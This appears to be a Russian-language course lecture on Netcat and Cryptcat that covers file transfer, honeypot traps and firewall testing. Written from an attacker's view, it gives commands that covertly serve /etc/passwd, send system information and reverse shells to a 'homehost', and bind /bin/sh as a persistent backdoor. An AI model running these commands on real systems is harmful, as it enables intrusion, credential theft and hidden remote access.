Опубликован: 20.02.2007 | Уровень: специалист | Доступ: платный
Лекция 1:

NETCAT и CRYPTCAT

Создание конвейеров данных: создай собственный FTP

Netcat позволяет создавать конвейеры данных. Какую выгоду можно извлечь из этой возможности?

Передача данных через фильтры. Подав входной и выходной файлы на оба конца конвейера, вы можете пересылать или копировать файлы из одной сети в другую, не используя никаких "официальных" протоколов передачи файлов. Если у вас есть доступ к программному интерпретатору на компьютере, но нет возможности запустить какой либо способ передачи файлов из-за того, что с использованием фильтров заблокированы возможности FTP, NFS (Network File System), или Samba, у вас есть выбор.

На стороне, где находится исходный файл, запустите команду:

nc -l -u -p 55555 < file_we_want

А на стороне клиента попытайтесь выполнить:

nc -u -targethost 55555 > copy_of_file

Осуществив соединение, можно немедленно передать файл. Закончив передачу с помощью команды EOF (CTRL-C), вы получите свой файл в целости и сохранности.

Скрытая передача файлов. Взломщики могут использовать Netcat для передачи файлов вовне системы, не используя для этого способы, доступные для контроля. В то время как использование FTP или Secure copy (scp) оставляет следы в системном журнале, Netcat - нет.

nc -l -u -p 55555 < /etc/passwd

Когда взломщик соединяется с этим UDP-портом, то похищает файл /etc/passwd, не оставляя никаких следов (исключая случай, когда в тот же момент системный администратор выполнит команду ps (статистика выполняемых процессов) или команду netstat ).

Перехват вывода приложений. Влезем снова в шкуру взломщика. Предположим, вы написали скрипт, который выводит информацию из некоторых важных системных файлов на стандартный вывод ( passwd, group, inetd.conf, hosts.allow и т.д.) и выполняет некоторые системные команды для получения справочной информации ( uname, ps, netstat ). Назовем этот скрипт "sysinfo". Чтобы достичь цели, выполним:

nc -l -u -p 55555 -e sysinfo

или

sysinfo | nc -l -u -p 55555

Вы можете перехватить вывод этой команды и поместить его в файл с названием sysinfo.txt.

n c-u target 55555 > sysinfo.txt

В чем разница? Обе команды перенаправляют вывод скрипта с помощью конвейера на Netcat, находящийся в режиме прослушивания, таким образом, что данные пересылаются вне сети через установленное кем-то соединение. Опция -e "передает" ввод/вывод приложению, которое выполняется. Когда скрипт sysinfo завершит свой вывод (вместе с командой EOF ), прослушивающая программа завершит работу, и то же самое произойдет с клиентом на другой принимающей стороне. В случае если скрипт sysinfo будет поставлен на входе конвейера, его вывод по прежнему будет передаваться клиенту, но Netcat будет удерживать поток ввод/вывода. Клиент не получит на вход команду EOF и останется в ожидании передачи какой либо информации.

То же самое можно сказать и о "перевернутом" примере. Что будет, если вы работаете на машине, на которую передается информация, и хотите инициировать соединение с программой Netcat, находящейся в режиме прослушивания на вашей "домашней" машине? Если Netcat выполняет прослушивание на "домашнем" хосте, после запуска команды nc -l -u -p 55555 > sysinfo.txt, у вас вновь будут две возможности:

nc -u -e sysinfo homehost 55555

или

sysinfo | nc -u homehost 55555
Совет. В Unix-системах, если команда, которую вы хотите выполнить с использованием опции -e, находится вне текущей директории, из которой запущен Netcat, необходимо определить полное имя команды. Под управлением Windows Netcat может воспользоваться переменной %PATH% и не имеет таких ограничений.

Разница в использовании конвейера и состоит том, останется ли клиент открытым после того, как скрипт закончит свою работу. Использование опции -e указывает клиенту Netcat закончить работу немедленно после завершения работы скрипта sysinfo. Различие этих двух режимов работы становится совершенно очевидным, если вы хотите выполнить приложение на удаленном хосте и передать ввод/вывод через конвейер Netcat (как об этом говорилось в разделе "Получение удаленного доступа к командной оболочке").

Захват контроля над приложением. В разделе "Получение удаленного доступа к командной оболочке" мы описывали, как запустить удаленный командный интерпретатор на Windows-машине. Тоже можно сделать и на Unix-машине.

nc -u -l -p 55555 -e /bin/sh

Установите соединение с использованием nc -u targethost 55555. Интерпретатор запустится ( /bin/sh ), и вы получите возможность взаимодействовать с командным интерпретатором через конвейер. Опция -e полностью обеспечивает передачу ввода/вывода командному интерпретатору. Имейте в виду, что эта команда должна выполняться циклом в скрипте, если вы хотите оставить "черный ход" в систему открытым после завершения работы командного интерпретатора. При выходе из командного интерпретатора Netcat закроется на обеих сторонах соединения, как только закончит работу /bin/sh. Для Windows-версии Netcat того же результата можно достичь, используя опцию -L.

Как и в предыдущем примере, вы можете посылать данные ввода/вывода локального приложения Netcat, находящегося в режиме прослушивания ( nc -u -l -p 55555 ), просто набрав следующую команду.

nc -u -e /bin/sh homehost 55555

Вы можете делать это в любом интерактивном приложении с продержкой текстового ввода без режимов управления терминалом (текстовый редактор vi, к примеру, не будет работать).

Совет. Возможно, вы не захотите использовать telnet-клиент для соединения с Netcat, поскольку telnet вносит слишком большое возмущение в работу командного интерпретатора. Вместо этого используйте Netcat для соединения в клиентском режиме.
Установка ловушек

Это забавная страшилка для желающего стать взломщиком. Запустив экземпляр Netcat в режиме прослушивания портов, которые наиболее часто проверяются взломщиками на предмет незащищенности, вы можете ввести взломщика в заблуждение, убедив его, что вы делаете нечто, чего на самом деле нет. Если вы сделаете это аккуратно, то получите возможность поймать взломщика.

[root@originix nc]# ./nc -l -v -e fakemail.pl -p 25 >> traplog.txt

Ваш скрипт может передать на выход все, что угодно. После завершения соединения (с помощью команды EOF ), скрипт должен быть запущен заново той же командой Netcat. Но если некто стал слишком любопытным, вы можете затопить атакующего любым мусором, какой вам только будет по душе. Если же вы предпочитаете быть более терпимым, то можете просто записать IP-адреса, с которых происходит атака, в файл traplog.txt.

Тестирование сетевого оборудования

Мы бы не хотели терять на этом слишком много времени. Вы можете использовать Netcat в качестве прослушивающего устройства на одном конце сети и попытаться установить с ним соединение с другого конца. Вы можете тестировать множество устройств (маршрутизаторы, брандмауэры и т.д.) на установление соединения, проверяя, какой трафик они передают. Поскольку Netcat дает возможность осуществлять подмену IP-адресов, вы можете также проверять настройки брандмауэров, основанные на IP-адресах, и не потратите много времени на проверку удовлетворительной работы брандмауэра.

Вы также можете использовать опцию -g, чтобы проверить вашу сеть на предмет возможности осуществлять source routing. Большинство сетевых устройств можно сконфигурировать так, чтобы игнорировать эту возможность, поскольку ее использование почти всегда незаконно.

Сделай сам

Архив исходных текстов Netcat сопровождается несколькими командными скриптами и C-программами, демонстрирующими большинство возможных способов использования Netcat. При наличии некоторого опыта в программировании вы сами сможете изучить многие возможности Netcat. Обратите внимание на файлы README, которые так же, как и примеры, расположены в директориях DATA и SCRIPTS. Они натолкнут вас на мысли о том, что еще можно попробовать.

CRYPTCAT

Criptcat - это всего лишь созвучие, образованное примерно так: Netcat с шифрованием ( netcat with encryption ). Теперь вы можете шифровать созданные конвейеры, прокси и релеи. Взломщики могут скрывать порождаемый Netcat трафик так, что внимательным системным администраторам понадобится нечто большее, чем просто прослушивать сеть, чтобы понять, что происходит.

Cryptcat использует расширенную версию протокола шифрования Twofish. Аргументы командной строки у него те же, что и у Netcat. Естественно, не самая лучшая мысль использовать Cryptcat для сканирования портов или попыток соединения с системными службами, которые не используют тот же самый метод шифрования. Но при использовании Netcat в режиме прослушивания на одном конце, и еще одного для попыток соединения с ним, Cryptcat может предложить некоторые удобства, связанные с обеспечением безопасности соединения.

Вы можете загрузить Cryptcat по адресу http://farm9.com/.

Сергей Хлюкин
Сергей Хлюкин
Россия, Москва, Московский Государственный Открытый Университет, 2007
Игорь Касаткин
Игорь Касаткин
Россия, Москва